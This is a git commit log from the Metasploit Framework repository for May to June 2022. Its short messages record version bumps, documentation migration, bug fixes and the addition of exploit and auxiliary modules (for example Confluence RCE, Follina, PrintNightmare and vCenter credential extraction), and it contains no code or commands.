adfoster-r7 98b2234cab Land #16692, update doc links 2022-06-19 23:46:42 +01:00
Alexandre ZANNI 1b8b37d313 update links for all other templates 2022-06-19 01:57:05 +02:00
Alexandre ZANNI 0e61db7e29 issue template: update doc links 2022-06-19 01:35:29 +02:00
Grant Willcox b10386ba08 Land #16650, Add #read_from_file for MSSQL and PostgreSQL, fix the MySQL implementation 2022-06-17 14:58:22 -05:00
Grant Willcox b817a1f8ee Update test module to properly handle multiline return values so that we can properly test things like dumping file content 2022-06-17 13:35:32 -05:00
Grant Willcox 5dd68b23ed Fix some nil issues in SQLi test module 2022-06-16 16:58:33 -05:00
Redouane NIBOUCHA d47d1bc259 Remove newlines from base64 output on MySQL also 2022-06-17 00:51:52 +02:00
Metasploit 3f433b0c24 Bump version of framework to 6.2.4 2022-06-16 12:09:14 -05:00
Grant Willcox be45688dbc Land #16602, Fix error when service is already running and update exception documentation in lib/msf/core/post/windows/services.rb 2022-06-16 10:59:35 -05:00
Grant Willcox f0428bfa15 Land #16627, Add some error handling to update_payload_cache_size script 2022-06-16 10:25:44 -05:00
Metasploit 1c62a3c859 automatic module_metadata_base.json update 2022-06-16 09:49:34 -05:00
Grant Willcox 18e58bc989 Land #16679, Fix missing and incomplete specs 2022-06-16 09:24:32 -05:00
Grant Willcox c94f22cebe Add in fixes from discussion and also update documentation to correctly note what functions can raise 2022-06-15 19:28:31 -05:00
Spencer McIntyre a96bc36d9c Update the docs with the Windows target 2022-06-15 17:24:44 -04:00
Spencer McIntyre 339114e3c0 Check the target platform for compatibility 2022-06-15 17:11:56 -04:00
Jeffrey Martin bcac5a1274 add missing payload tests 2022-06-15 14:34:08 -05:00
Jeffrey Martin 9b7da41e3d update missing check spec to mock RACK_ENV
The spec result has a precondition in the expectations.
The RACK_ENV must be `development` and causes the test to
fail based on test execution order in scenarios where a
previous test set a different expectation in the env.
2022-06-15 14:29:21 -05:00
Spencer McIntyre dc3596525e Add Windows targets 2022-06-15 15:23:34 -04:00
Grant Willcox d20fa45f7a Add in guard clause to check that page isn't nil before trying to use it for processing pages 2022-06-15 11:35:30 -05:00
npm-cesium137-io 37234985e6 citrix_netscaler_config_decrypt Aux Module
Added an aux module that can perform offline decryption of NetScaler
config files. The module is able to decrypt secrets using well-known
static keys as well as the new Key Encryption Key (KEK) scheme.

This is the initial commit, and some functionality is lacking: there is
currently no loot storage of secrets, and the module cannot decrypt
-passcrypt entries from legacy configuration files.
2022-06-15 11:03:28 -04:00
Spencer McIntyre 825604dda9 Add docs and a configurable password 2022-06-15 08:51:47 -04:00
Spencer McIntyre 78f2ea39e9 Use some pretty libral error handling 2022-06-15 08:51:28 -04:00
Christophe De La Fuente 35e535415a getsytem module: use ACTION instead of TECHNIQUE datastore option 2022-06-14 15:31:33 +02:00
Christophe De La Fuente f804a58970 Add getsystem technique 6 Named Pipe Impersonation (Efs variant - AKA EfsPotato) 2022-06-14 15:31:15 +02:00
Spencer McIntyre 41567b1eb4 Add the DELETE_COMPUTER action 2022-06-13 17:46:34 -04:00
Spencer McIntyre 084fc194ea Add the LOOKUP_COMPUTER action 2022-06-13 17:20:34 -04:00
Spencer McIntyre 74936f69a3 Add the ADD_COMPUTER action 2022-06-13 17:03:51 -04:00
bwatters be48b1481a Land #16654, Add named pipe pivot documentation
Merge branch 'land-16654' into upstream-master
2022-06-13 14:22:47 -05:00
adfoster-r7 1836cf3a9c Update pivot docs for reverse named pipe 2022-06-13 17:25:22 +01:00
Metasploit f39bc72fc4 automatic module_metadata_base.json update 2022-06-13 10:54:46 -05:00
bwatters f6bd8fd020 Land #16571, Vcenter offline mdb extract
Merge branch 'land-16571' into upstream-master
2022-06-13 10:32:07 -05:00
RageLtMan 9373ab6bd3 HTTP Crawler: don't expect page object for msg
The `crawler_process_page` method in HttpCrawler assumes that the
`page` object passed into the method is not nil when formatting the
`msg` string for printing to console.
Address the assumption with a ternary check leaving the `|| "ERR"`
handling for `page.code` itself being nil inside the assignment
when page is not nil.

Testing:
 `Error accessing page undefined method '[]' for nil:NilClass` is
no longer being thrown when scanning an odd HTTP service.
2022-06-10 21:44:29 -04:00
Grant Willcox 47fcf541e3 Land #16667, Weekly dependency updates for Gemfile.lock 2022-06-10 12:40:48 -05:00
Metasploit ebe6f89bdf automatic module_metadata_base.json update 2022-06-10 09:09:36 -05:00
Grant Willcox f1020289fa Land #16666, Correctly format the notes sections 2022-06-10 08:48:13 -05:00
Grant Willcox a075c676a6 Fix spacing issue 2022-06-10 08:47:41 -05:00
Metasploit 496037c45e Weekly dependency updates for Gemfile.lock 2022-06-10 08:17:58 -05:00
dwelch-r7 3f06e237b7 Correctly format the notes sections 2022-06-10 14:01:57 +01:00
Grant Willcox 572ee18ad4 Land #16665 - Fix random compile c tool 2022-06-10 07:56:39 -05:00
adfoster-r7 417f34e744 Fix random compile c tool 2022-06-10 11:28:42 +01:00
bwatters 4aa150bbe5 Update pivot docs for reverse named pipe 2022-06-09 15:22:09 -05:00
Metasploit f2e1dca061 Bump version of framework to 6.2.3 2022-06-09 12:03:55 -05:00
Grant Willcox fd5e483b3c Land #16662, Add faraday retry gem dependency 2022-06-09 09:41:47 -05:00
bwatters 785a176240 Move logging and error printing to the end; return proper status 2022-06-09 09:18:11 -05:00
kalidor b292586fb3 Avoid exception 'TypeError exception class/object expected' 2022-06-09 11:58:01 +02:00
adfoster-r7 f4f9580412 Add faraday retry gem dependency 2022-06-09 02:09:28 +01:00
Grant Willcox 63822f6e37 Land #16651, [SQLi library] Ensure the encoder is always used in the #test_vulnerable methods 2022-06-08 17:15:22 -05:00
Redouane NIBOUCHA 88036a7f1f Check for nil before using the decoder in test_vulnerable 2022-06-08 22:00:03 +02:00
Metasploit 9e3b1caf16 automatic module_metadata_base.json update 2022-06-08 13:35:28 -05:00
Jack Heysel 67ea2bc23c Land #16630 Fix duplicate ntlm hash storage
Net-NTLM (v1 and v2) hashes were being duplicated when
stored in the database due to the unique data in the challenge
dispite being the same. This fixes that issue
2022-06-08 14:07:34 -04:00
jheysel-r7 1a7cbe5b4f Update lib/msf/core/exploit/remote/smb/server/hash_capture.rb 2022-06-08 13:45:57 -04:00
Metasploit 365efba76b automatic module_metadata_base.json update 2022-06-08 12:15:23 -05:00
Grant Willcox 12cc1c871d Land #16661, Add SAN support to impersonate_ssl module 2022-06-08 11:54:05 -05:00
Grant Willcox ab322d9318 Add minor review improvements for code readability and future travelers 2022-06-08 11:53:42 -05:00
Dan Staples a55aa8492c Add SAN support to impersonate_ssl module 2022-06-08 11:22:06 -04:00
Metasploit e957e0ea80 automatic module_metadata_base.json update 2022-06-07 16:20:37 -05:00
bwatters 3875db78ae Land #16644, Add Exploit for CVE-2022-26134 (Confluence RCE)
Merge branch 'land-16644' into upstream-master
2022-06-07 16:00:37 -05:00
Grant Willcox a983bbd8ba Land #16615, Solicited multicast-address creation bugfix 2022-06-07 14:41:52 -05:00
Grant Willcox 5e69de43a8 Land #16645, Weekly dependency updates for Gemfile.lock 2022-06-07 11:58:51 -05:00
Metasploit 9b180c9e14 Weekly dependency updates for Gemfile.lock 2022-06-07 11:31:32 -05:00
jheysel-r7 2b99967d0c Merge branch 'master' into fix/duplicate-netntlm 2022-06-07 11:42:51 -04:00
Metasploit 5880a0dcea automatic module_metadata_base.json update 2022-06-07 09:19:11 -05:00
Grant Willcox 8584014af2 Land #16583, Bump payloads version to 2.0.93 2022-06-07 08:58:56 -05:00
Spencer McIntyre 1a06f69f95 Works through v7.18 now too 2022-06-06 22:03:21 -04:00
Spencer McIntyre 45c646afea Refactor #encode_ognl 2022-06-06 18:15:44 -04:00
Spencer McIntyre 2c0e034a18 Fix a couple of typos 2022-06-06 18:14:05 -04:00
Redouane NIBOUCHA 5331c343a0 Use the encoder in all the #test_vulnerable methods from the common class 2022-06-06 23:13:26 +02:00
Redouane NIBOUCHA 6d9c789f4d Add method #read_from_file for MSSQL and PostgreSQL, and update the MySQL #read_from_file method 2022-06-06 23:07:25 +02:00
Metasploit 1bb93ddfd2 automatic module_metadata_base.json update 2022-06-06 15:02:58 -05:00
bwatters c751ef46c9 Land #16635, Add 0-day MSWord RCE #Follina CVE-2022-30190
Merge branch 'land-16635' into upstream-master
2022-06-06 14:41:31 -05:00
bwatters 24a0e7622d Land #16653, Fix smb named pipe pivot crash
Merge branch 'land-16653' into upstream-master
2022-06-06 14:33:07 -05:00
Metasploit 4dd6b936b6 automatic module_metadata_base.json update 2022-06-06 12:25:38 -05:00
Grant Willcox 50ba5f580c Land #16643 - Fix exploits/multi/http/php_fpm_rce for ruby 3 2022-06-06 12:04:36 -05:00
adfoster-r7 09f75c65dc Add named pipe pivot documentation 2022-06-06 15:44:36 +01:00
adfoster-r7 6e9765992c Fix smb named pipe pivot crash 2022-06-06 13:00:42 +01:00
Spencer McIntyre 1aec2e8649 Note version in the docs 2022-06-03 18:29:28 -04:00
Spencer McIntyre f55334f0fe Add version detection 2022-06-03 18:26:04 -04:00
Spencer McIntyre 600fba7fa1 Add module docs 2022-06-03 17:26:15 -04:00
Spencer McIntyre 76ec36a091 Remove the Windows targets for now 2022-06-03 16:50:13 -04:00
Spencer McIntyre 29a9ef686a Finish up a draft of the module 2022-06-03 16:47:02 -04:00
Spencer McIntyre cd6bbeb0ba WIP module 2022-06-03 15:27:13 -04:00
Kert Ojasoo 1dc61d02eb Update php_fpm_rce.rb 2022-06-03 11:23:53 +03:00
Spencer McIntyre 45674fbcc2 Add the initial samr module 2022-06-02 14:12:47 -04:00
Metasploit e79161c236 Bump version of framework to 6.2.2 2022-06-02 12:05:08 -05:00
Jack Heysel 8ccc1ebf91 Land PR #16628, Log ntlm_session hashes
This PR fixes the logging and storing of
NTLM session hashes
2022-06-02 11:20:37 -04:00
Metasploit 6942e0ca0e automatic module_metadata_base.json update 2022-06-02 08:52:54 -05:00
Christophe De La Fuente 474116d413 Land #16611, DotCMS File Upload to RCE Module (CVE-2022-26352) 2022-06-02 15:30:10 +02:00
Grant Willcox 44a22ab720 Land #16640, Patch LDAP for sychronous reads 2022-06-01 16:12:09 -05:00
RAMELLA Sébastien 3ab06461af fix. second review 2022-06-02 00:58:20 +04:00
RAMELLA Sébastien dd1814903c fix. SRVHOST default value 2022-06-02 00:07:15 +04:00
RAMELLA Sébastien 8c19a02835 fix. first review 2022-06-01 20:15:08 +04:00
Metasploit f036950ea1 automatic module_metadata_base.json update 2022-06-01 10:49:34 -05:00
space-r7 6d3ccab1be Land #16435, add Microsoft SQL Server sqli support 2022-06-01 10:27:48 -05:00
jheysel-r7 97caca4f6e Update modules/exploits/multi/http/dotcms_file_upload_rce.rb
Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2022-06-01 10:54:02 -04:00
Metasploit 87e7e5c813 automatic module_metadata_base.json update 2022-05-31 11:29:18 -05:00
Jack Heysel bea4207c62 Land PR #16607 - MyBB RCE Module (CVE-2022-24734)
This exploit module leverages an improper input validation
vulnerability in MyBB prior to 1.8.30 to execute arbitrary
code in the context of the user running the application.
2022-05-31 11:59:53 -04:00
Metasploit 3261cd1ee3 automatic module_metadata_base.json update 2022-05-31 05:23:36 -05:00
Christophe De La Fuente dac355d9cf Land #16492, nfs_mount more intelligent mountability 2022-05-31 11:56:19 +02:00
RAMELLA Sébastien 7f89e92da3 add more informations about 2022-05-31 00:12:30 +04:00
Jack Heysel 2c02a607ee Responded to PR feedback 2022-05-30 14:46:54 -04:00
RAMELLA Sébastien 97921b4ed9 fix chmod 644 2022-05-30 22:11:35 +04:00
RAMELLA Sébastien dfc226cf5f add. Supposed 0day MSWord RCE 2022-05-30 21:23:18 +04:00
h00die c6936bd42f nfs mount more intelligent 2022-05-30 13:03:03 -04:00
Christophe De La Fuente b996f5ee49 Fixes from code review 2022-05-30 16:24:18 +02:00
h00die 627605cf82 nfs mount more intelligent 2022-05-30 09:49:24 -04:00
h00die b8cebe0dbe nfs mount more intelligent 2022-05-30 09:47:00 -04:00
h00die 264085b63c juniper lib updates 2022-05-29 15:55:18 -04:00
Spencer McIntyre adcf45b0ff Fix the arch in #handle_connection too
This fixes an issue with the adated peinject stage which supported both
x86 and x64 via a library that checked its own #arch.
2022-05-27 16:42:14 -04:00
Spencer McIntyre 1466506069 Update the docs to be accurate 2022-05-27 14:41:06 -04:00
Spencer McIntyre a47b3fe694 Don't report duplicate Net-NTLM hashes 2022-05-27 14:13:06 -04:00
Metasploit b464f97c5e automatic module_metadata_base.json update 2022-05-27 11:51:08 -05:00
adfoster-r7 a98f9a69c4 Land #16621, Fix timeout of duplicated sessions 2022-05-27 17:30:56 +01:00
Spencer McIntyre 0c481ed9c9 Patch LDAP for synchronous reads 2022-05-27 10:57:28 -04:00
Spencer McIntyre 1e5f86703f Report the correct JtR type 2022-05-27 10:16:02 -04:00
Spencer McIntyre 862c6a94a2 Log ntlm_session hashes too
Despite being called ntlm_session, these hashes are capable of being
cracked as the John 'netntlm' format. Additionally the format is
reported as NTLMv1-SSP in similar tools.
2022-05-27 10:07:39 -04:00
bwatters 9d67ce0186 Add some error handling to update_payload_cache_size script 2022-05-27 08:45:10 -05:00
sjanusz 7b75bd6e27 Cache remote Python binary name 2022-05-27 10:21:59 +01:00
Metasploit a1613d6070 Bump version of framework to 6.2.1 2022-05-26 12:04:57 -05:00
Spencer McIntyre ba9ac52b2c Land #16622, Bump Metasploit version to 6.2.0 2022-05-26 11:59:09 -04:00
adfoster-r7 3e16e69b7e Land #16620, Bump RubySMB, Add File Server Tool 2022-05-26 16:55:16 +01:00
npm-cesium137-io 1d9089f5a0 vcenter_offline_mdb_extract PR verbosity
Added verbose output to the RSA and x509 extraction functions for
troubleshooting.

Changed error handling to just print an error message instead of
throwing an exception temporariliy.
2022-05-26 11:52:56 -04:00
Metasploit e6e181618a automatic module_metadata_base.json update 2022-05-25 12:24:54 -05:00
NikitaKovaljov b66fb886dc Update modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-05-25 20:21:50 +03:00
Spencer McIntyre 9b36364acd Land #16619, fix of improper neighbor filtering
Fixes #16618
2022-05-25 13:03:39 -04:00
Metasploit 9dec324f98 automatic module_metadata_base.json update 2022-05-25 11:58:10 -05:00
Spencer McIntyre 5f5444936f Land #16488, Windows Task Scheduler Mixin 2022-05-25 12:37:03 -04:00
sjanusz 17a37a9d4d Detect more Python binaries & don't run last cmd_exec as channelized 2022-05-25 15:21:40 +01:00
Spencer McIntyre 8f8dc4baaf We in metasploit land now 2022-05-25 09:16:19 -04:00
Metasploit d856f50c7e automatic module_metadata_base.json update 2022-05-25 07:44:52 -05:00
adfoster-r7 d225d4663c Land #16413, update local exploit suggester 2022-05-25 13:24:11 +01:00
adfoster-r7 c4f004423e Bump Metasploit framework version to 6.2.0 2022-05-25 12:32:58 +01:00
Christophe De La Fuente 52a8191821 Fix vss_persistence module and remove Windows 7 target 2022-05-25 13:11:34 +02:00
sjanusz 6b1faf0e0e Add 'run' commands to Local Exploit Suggester docs 2022-05-25 12:05:06 +01:00
sjanusz 5d2ab0c55e Sort arch, platforms, session types before outputting 2022-05-25 10:25:32 +01:00
Metasploit acae5f60a1 automatic module_metadata_base.json update 2022-05-24 15:48:33 -05:00
Jack Heysel 44ce4d422e Land #16610, New Print Nightmare Exploit
Updates existing Print Nightmare module to use the
new SMB Server added in #16481.
2022-05-24 16:24:47 -04:00
Spencer McIntyre c41387dcbb Add the smb_file_server tool 2022-05-24 15:29:51 -04:00
Spencer McIntyre ba7334390b Bump RubySMB to 3.1.3 2022-05-24 15:04:11 -04:00
NikitaKovaljov 3eb8f8cf2e fix of improper NA filtering. 2022-05-24 19:01:36 +03:00
sjanusz fbac2ae429 Fix crash on sessions without native_arch support 2022-05-24 16:27:16 +01:00
Christophe De La Fuente 2bf0107865 Update the cmd_exec_with_result documentation 2022-05-24 17:22:07 +02:00
dwelch-r7 5f73401ab7 Bump payloads version 2022-05-24 16:06:42 +01:00
dwelch-r7 a911a9185a Update cached sizes 2022-05-24 16:04:03 +01:00
dwelch-r7 21a34b2f50 bump payload version 2022-05-24 16:04:03 +01:00
dwelch-r7 0df1f58480 Update cached sizes 2022-05-24 16:04:00 +01:00
dwelch-r7 25e1e5db1f Bump payloads version to 2.0.92 2022-05-24 16:04:00 +01:00
Jack Heysel 9d9d81a855 Docs update 2022-05-24 10:16:36 -04:00
sjanusz 7734161ffc Update Local Exploit Suggester documentation 2022-05-24 14:48:40 +01:00
sjanusz 0e241557e9 Add session type column, refactor to not use post mixin, use native_arch 2022-05-24 14:28:21 +01:00
NikitaKovaljov c33f284786 change from lambda to line by line logic 2022-05-24 16:24:15 +03:00
Spencer McIntyre 1524020643 Use moved_from to deprecate the module 2022-05-24 09:16:30 -04:00
dwelch-r7 f28acc37f6 Land #16608, Rename wiki files 2022-05-24 13:53:26 +01:00
adfoster-r7 18104c133f Rename wiki files 2022-05-24 13:46:51 +01:00
Metasploit ac63816923 automatic module_metadata_base.json update 2022-05-24 05:15:54 -05:00
Christophe De La Fuente 63dea932ad Land #16481, Update Msf::Exploit::Remote::SMB::Server::Share 2022-05-24 11:50:06 +02:00
Christophe De La Fuente bac9be956f Add documentation 2022-05-23 17:27:42 +02:00
Christophe De La Fuente 1f304ef2c4 Add module exploit for MyBB RCE - CVE-2022-24734 2022-05-23 17:27:20 +02:00
sjanusz 1677dbcf6d Add setting of module target 2022-05-23 14:23:48 +01:00
NikitaKovaljov 7f9ead454e bugfix of improper solicited address creation 2022-05-23 15:25:53 +03:00
kalidor e09169b281 Raise Error::SERVICE_ALREADY_RUNNING 2022-05-20 22:41:27 +02:00
kalidor 677b16e09c Fix error when service is already running 2022-05-20 22:13:17 +02:00
Jack Heysel 3afb9b2ffe dotCMS file upload to RCE module 2022-05-20 15:57:22 -04:00
adfoster-r7 20198a2ff5 Land #16212, Add Java Meterpreter Feature Parity proposal 2022-05-20 19:19:49 +01:00
sjanusz b90f4933a1 Add Java Meterpreter Feature Parity proposal 2022-05-20 15:37:31 +01:00
dwelch-r7 d57914e336 Land #16601, Cleanup wiki docs cruft 2022-05-20 14:05:35 +01:00
adfoster-r7 7ad35f00da Cleanup wiki docs cruft 2022-05-20 13:47:30 +01:00
dwelch-r7 f60b34b439 Land #16600, Update docs site to use migrated wiki files 2022-05-20 13:37:13 +01:00
adfoster-r7 8e7fd0ee6f Update docs site to use migrated wiki files 2022-05-20 13:13:28 +01:00
dwelch-r7 4ecee9755c Land #16518, Merge metasploit framework wiki into metasploit framework 2022-05-20 12:59:28 +01:00
adfoster-r7 b3c2175a56 Migrate docs from https://github.com/rapid7/metasploit-framework/wiki to main repository 2022-05-20 12:22:19 +01:00
adfoster-r7 3663fbee4b Put markdown files into new folder metasploit-framework.wiki in preparation for migration 2022-05-20 12:22:06 +01:00
dwelch-r7 25d5da2a7b Land #16517, Prepare for migrating wiki to framework 2022-05-20 12:08:47 +01:00
adfoster-r7 b96cc4765a Use shorthand generation flags 2022-05-20 10:23:41 +01:00
adfoster-r7 f2d9ccfe9e Land #16596, Weekly dependency updates for Gemfile.lock 2022-05-19 23:25:57 +01:00
Spencer McIntyre 886f031daa Set @staged for adapted payloads when necessary 2022-05-19 16:30:54 -04:00
Spencer McIntyre 2d0cdc31e3 Set the correct arch in #generate_stage too 2022-05-19 16:30:54 -04:00
Spencer McIntyre a8a9b4bbe1 Update the #generate signature to take opts 2022-05-19 16:30:54 -04:00
Spencer McIntyre 08266beac3 Pass around the conf and opts to share the arch 2022-05-19 16:30:54 -04:00
Spencer McIntyre 9a345052b6 Set the arch while generating 2022-05-19 16:30:52 -04:00
Metasploit 80cf407295 Weekly dependency updates for Gemfile.lock 2022-05-19 12:08:58 -05:00
Metasploit a2dc366eb4 Bump version of framework to 6.1.44 2022-05-19 12:04:44 -05:00
sjanusz 786084bacb Add custom color styler tests 2022-05-19 17:01:55 +01:00
sjanusz 7103a619c2 Add validation opts, tables, custom stylers to exploit suggester 2022-05-19 16:22:47 +01:00
adfoster-r7 eea4c17dca Simplify contributing steps 2022-05-19 16:10:47 +01:00
Metasploit 527015f03e automatic module_metadata_base.json update 2022-05-19 09:28:41 -05:00
Jack Heysel 19abce7045 Land #16505, Fix Lotus Domino Hash Parsing
This fixes an issue with the regex that was parsing
Lotus Domino hashes. The fix also changes the
regex to xml parsing
2022-05-19 10:00:36 -04:00
Jack Heysel 4f4287eb6b Module working on linux 2022-05-19 09:37:48 -04:00
Christophe De La Fuente 19f73b7bbe Fix specs (again) 2022-05-19 15:34:42 +02:00
Christophe De La Fuente fec3fbc180 Fix specs 2022-05-19 15:27:13 +02:00
Christophe De La Fuente 5fd18ef864 Fixes from review 2022-05-19 14:54:07 +02:00
Metasploit 2762b92c8e automatic module_metadata_base.json update 2022-05-18 19:00:36 -05:00
adfoster-r7 2cbd64b759 Land #16487, fix deprecation warning in auxiliary/capture/server/mssql as well as updating johntheripper format 2022-05-19 00:40:03 +01:00
adfoster-r7 10d325761f Remove deprecation notice title as it appears in the submenu links 2022-05-18 22:32:20 +01:00
adfoster-r7 64045571a4 Remove deprecation notice 2022-05-18 22:23:01 +01:00
adfoster-r7 4d2526a7a8 Remove deprecation notice 2022-05-18 22:22:47 +01:00
adfoster-r7 2cd21724e5 Update deprecation notice 2022-05-18 22:22:27 +01:00
Metasploit 1340ceaef7 automatic module_metadata_base.json update 2022-05-18 13:18:33 -05:00
dwelch-r7 ac5cd23bb3 Land #16588, Check size for compatibility with powershell 2022-05-18 18:59:13 +01:00
Christophe De La Fuente 624fc7a1d2 Fix specs 2022-05-18 17:07:30 +02:00
adfoster-r7 669d95ba16 Ensure files are correctly added to the migrated wiki 2022-05-18 15:22:31 +01:00
adfoster-r7 255452c5ca Update Wiki deprecation notice text, and add functionality to integrate the wiki into framework 2022-05-18 15:13:23 +01:00
adfoster-r7 20fc5c39d4 Add metadata tracking the page that generated the wiki page 2022-05-18 15:13:23 +01:00
Christophe De La Fuente 7c9c0018bc Add specs for the TaskScheduler mixin 2022-05-18 15:50:39 +02:00
Christophe De La Fuente 5d637b5292 Small fixes and improvements found while writing specs 2022-05-18 15:49:57 +02:00
dwelch-r7 37f214b7a7 Updated Meterpreter Debugging Meterpreter Sessions (markdown) 2022-05-18 14:10:06 +01:00
Christophe De La Fuente dba4c25a18 Fix #check_compatibility 2022-05-17 17:04:47 +02:00
Spencer McIntyre e629264678 Check size for compatibility with powershell 2022-05-17 09:28:07 -04:00
Christophe De La Fuente 7992cb2072 Update vss_persistenceand persistence_exe modules to includes
changes in `TaskScheduler` mixin
2022-05-17 14:52:47 +02:00
Christophe De La Fuente fb85d060ec Update TaskScheduler after first review
- Now, it exposes 4 methods to manage scheduled tasks: `#task_create`,
  `#task_start`, `#task_delete` and `#task_query`
- Adds `#check_compatibility` to check the OS version and make sure
  `schtasks.exe` and `reg.exe` options are compatible
- Adds `#log_and_print`to print log messages on the console (using
  `vprint_*` methods) and in the MSF logs at the same time
- `#get_system_privs` now takes care of checking if the session is a
  Meterpreter session and if it has loaded the appropriate extension
- Adds `#run_one_off_task` to run a command on a remote host by using
  another scheduled task
- Adds `#add_reg_key_value` to restores the Security Descriptor registry
  key value to unhide the task
2022-05-17 14:52:47 +02:00
Christophe De La Fuente c37387de78 Add #cmd_exec_with_result in lib/msf/core/post/common.rb 2022-05-17 14:52:47 +02:00
Christophe De La Fuente 14cd7bc335 Add task scheduler mixin and update persistence_exe and vss_persistence modules 2022-05-17 14:52:47 +02:00
dwelch-r7 e386dad7e9 Land #16584, Add loading test modules page 2022-05-17 11:03:35 +01:00
adfoster-r7 1b5f8a623a Add loading test modules page 2022-05-17 10:53:10 +01:00
Grant Willcox db1551e29b Created Loading Test Modules (markdown) 2022-05-16 18:19:49 -05:00
Spencer McIntyre 02e7a65b93 Just move the auxiliary module into an exploit 2022-05-16 17:44:31 -04:00
Alexandre Bezroutchko 71acc02c96 fix race condition when scanning short ranges 2022-05-16 20:08:41 +00:00
Spencer McIntyre 36921a00f6 Merge branch 'feat/mod/cve-2021-1675-retry' into feat/mod/cve-2021-1675 2022-05-16 14:59:32 -04:00
Spencer McIntyre d278ad9be1 Add the printnightmare exploit 2022-05-16 14:56:46 -04:00
Spencer McIntyre 75d137fce5 Rubocop and add todo to printnightmare 2022-05-16 14:56:46 -04:00
Metasploit a1555d4b87 automatic module_metadata_base.json update 2022-05-16 13:42:29 -05:00
Spencer McIntyre 19a9ff1198 Update a couple of modules for the new SMB server 2022-05-16 14:39:45 -04:00
Spencer McIntyre 3d3aa0f998 Update to RubySMB v3.1.2 for server requirements 2022-05-16 14:39:45 -04:00
Spencer McIntyre e0b9002238 Fix an SMB relay bug 2022-05-16 14:39:45 -04:00
Spencer McIntyre dd848859df Update the testing Gemfile to include more fscc 2022-05-16 14:39:45 -04:00
Spencer McIntyre edd977165c Revert option changes for the capture NTLM provider 2022-05-16 14:39:45 -04:00
Spencer McIntyre adeb87b817 Remove tests for code that was removed 2022-05-16 14:39:45 -04:00
Spencer McIntyre f6211f2e45 Add a Gemfile entry for testing
This adds a temporary Gemfile entry to a branch with all the necessary
dependencies merged together. It should be removed before the PR is
landed once an updated RubySMB gem can be released.
2022-05-16 14:39:45 -04:00
Spencer McIntyre f14f8da1df Use the new thread_factory 2022-05-16 14:39:45 -04:00
Spencer McIntyre b79b550d6c Centralize the log adapter
This should eventually be updated to map the levels to the framework
logger and appropriate module-print_* function.
2022-05-16 14:39:45 -04:00
Spencer McIntyre 7c15b144c4 Update the SMB capture server 2022-05-16 14:39:44 -04:00
Spencer McIntyre 22993e910e Move server code into the server mixin 2022-05-16 14:39:44 -04:00
Spencer McIntyre c39fd87073 Finish removing unneeded server code 2022-05-16 14:39:44 -04:00
Spencer McIntyre 906fdd6a05 Update the MSSQL capture module
Remove the apparently unused reference to the SMB server mixin.
2022-05-16 14:39:44 -04:00
Spencer McIntyre 475f6eee8c Capture hash when serving files over SMB 2022-05-16 14:39:44 -04:00
Spencer McIntyre d740786211 Add the on_client_connect callback
Also update the group_policy_startup module.
2022-05-16 14:39:44 -04:00
Spencer McIntyre 317516d90f Enable guest access 2022-05-16 14:39:44 -04:00
Spencer McIntyre 882bcf08f7 Fix bugs when stopping the service 2022-05-16 14:39:44 -04:00
Spencer McIntyre 09dc65eb6a Remove the FILE_CONTENTS datastore option
None of the 14 modules use this option, they all deregister it.
2022-05-16 14:39:44 -04:00
Spencer McIntyre 63af7cdef7 Initial update to the RubySMB share server 2022-05-16 14:39:44 -04:00
Spencer McIntyre 013a819cff Out with the old 2022-05-16 14:39:44 -04:00
Spencer McIntyre 879591f686 Land #16499, Specify peer hostname for SNI 2022-05-16 14:21:57 -04:00
Metasploit 55f74eb530 automatic module_metadata_base.json update 2022-05-16 12:52:31 -05:00
adfoster-r7 0196b6fa75 Land #16555, move duplicated retry_until_truthy code into centralized location 2022-05-16 18:31:57 +01:00
Spencer McIntyre f9a5d8285a Use the retry mixin for printnightmare
This module gets disconnected from the named pipe. Use the new retry
mixin to avoid waiting for a standard delay.
2022-05-16 09:53:57 -04:00
adfoster-r7 db694efd36 Improve relative redirect handling 2022-05-16 12:03:24 +01:00
Grant Willcox c415e7a8a0 Land #16572, Don't raise a space violation exception when space is 0 2022-05-13 19:20:24 -05:00
Metasploit 2ee029530b automatic module_metadata_base.json update 2022-05-13 19:15:25 -05:00
Grant Willcox 1959dac1df Reformat comments a bit and fix a typo. 2022-05-13 19:14:00 -05:00
Grant Willcox 133b9e307a Land #16563, Zyxel Firewall Unauthenticated Command Injection (CVE-2022-30525) 2022-05-13 18:55:30 -05:00
Jake Baines 39567281bf Revised setup guidance 2022-05-13 13:41:05 -07:00
Grant Willcox 2eb31cf765 Add in edits from review 2022-05-13 15:32:12 -05:00
Spencer McIntyre cb26d02518 Treat space = 0 as a special case
Space = 0 is a special case implying that the smallest payload possible
should be used. It's used by msfvenom when the --smallest flag is set.
It should not cause Metasploit to raise an exception.

Fixes #16471
2022-05-13 16:18:08 -04:00
npm-cesium137-io 8b502d074f vcenter_offline_mdb_extract aux module
Add new aux module vcenter_offline_mdb_extract for extracting IdP
credentials, certificates and keys from a vCenter backup file.

Added module documentation.
2022-05-13 15:57:59 -04:00
npm-cesium137-io ecec8a5993 Clean up unrelated files. 2022-05-13 15:53:40 -04:00
Metasploit b3d686f43a automatic module_metadata_base.json update 2022-05-13 14:06:26 -05:00
bwatters 1fe04caadd Land #16406, Create get_bookmarks.rb
Merge branch 'land-16406' into upstream-master
2022-05-13 13:42:31 -05:00
bwatters 213d6a0918 Land #16570, set the org to be 0x400000
Merge branch 'land-16570' into upstream-master
2022-05-13 11:59:14 -05:00
Spencer McIntyre 1aceb71971 Rename the function to emphasize truthy 2022-05-13 09:16:01 -04:00
Spencer McIntyre 3d37f2f811 Change the timeout value to be nil 2022-05-13 09:14:23 -04:00
Spencer McIntyre 6ba2b15ab2 Overhaul retry_until_true specs
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-05-13 09:06:51 -04:00
adfoster-r7 739c0fcad1 Specify peer hostname for ssl connections 2022-05-13 13:55:43 +01:00
adfoster-r7 8a3f2b9542 Land #16566, Weekly dependency updates for Gemfile.lock 2022-05-13 12:57:52 +01:00
Metasploit 3ab64195d6 automatic module_metadata_base.json update 2022-05-13 06:37:44 -05:00
dwelch-r7 c0c02e56ba Land #16430, Improve kerberos user enum module 2022-05-13 12:17:26 +01:00
Metasploit 03b3336d62 automatic module_metadata_base.json update 2022-05-13 05:13:25 -05:00
adfoster-r7 6a1fe27406 Land #16442, add vars_form_data to the HTTP client 2022-05-13 10:53:16 +01:00
ssst0n3 246a3604b8 set the org to be 0x400000 2022-05-13 10:50:19 +08:00
